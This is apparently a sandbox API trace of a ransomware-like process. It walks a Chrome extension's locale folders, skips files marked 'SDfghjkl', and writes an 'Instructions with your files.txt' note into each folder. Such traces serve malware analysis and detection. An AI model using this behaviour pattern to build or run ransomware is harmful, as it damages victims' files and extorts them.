[0129.021] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x864ebca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x104, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.021] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\Instructions with your files.txt") returned 174
[0129.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.021] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.022] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.022] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.022] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.022] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.022] CloseHandle (hObject=0x134) returned 1
[0129.022] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.022] GetProcessHeap () returned 0x810000
[0129.022] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.022] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0129.022] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB") returned 144
[0129.023] GetProcessHeap () returned 0x810000
[0129.023] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.023] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*") returned 146
[0129.023] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.023] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\.") returned 146
[0129.023] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864ed410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.023] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\..") returned 147
[0129.023] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.023] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json") returned 158
[0129.023] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.023] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.023] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\Instructions with your files.txt") returned 177
[0129.023] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.023] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.024] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.024] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.025] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.025] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.025] CloseHandle (hObject=0x134) returned 1
[0129.025] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.025] GetProcessHeap () returned 0x810000
[0129.025] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.025] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
[0129.025] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US") returned 144
[0129.025] GetProcessHeap () returned 0x810000
[0129.025] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.025] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*") returned 146
[0129.025] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.026] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\.") returned 146
[0129.026] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.026] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\..") returned 147
[0129.026] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.026] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 158
[0129.026] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.026] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.026] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\Instructions with your files.txt") returned 177
[0129.026] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.027] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.027] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.028] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.028] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.028] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.028] CloseHandle (hObject=0x134) returned 1
[0129.028] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.028] GetProcessHeap () returned 0x810000
[0129.028] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.028] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0129.028] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es") returned 141
[0129.028] GetProcessHeap () returned 0x810000
[0129.028] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.028] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*") returned 143
[0129.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.029] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\.") returned 143
[0129.029] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.029] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\..") returned 144
[0129.029] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.029] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\messages.json") returned 155
[0129.029] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.029] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86539ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.029] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\Instructions with your files.txt") returned 174
[0129.029] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.030] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.031] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.031] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.031] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.031] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.031] CloseHandle (hObject=0x134) returned 1
[0129.031] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.031] GetProcessHeap () returned 0x810000
[0129.031] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.031] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x865396d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x865396d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x865396d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0129.031] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419") returned 145
[0129.031] GetProcessHeap () returned 0x810000
[0129.031] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.031] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\*") returned 147
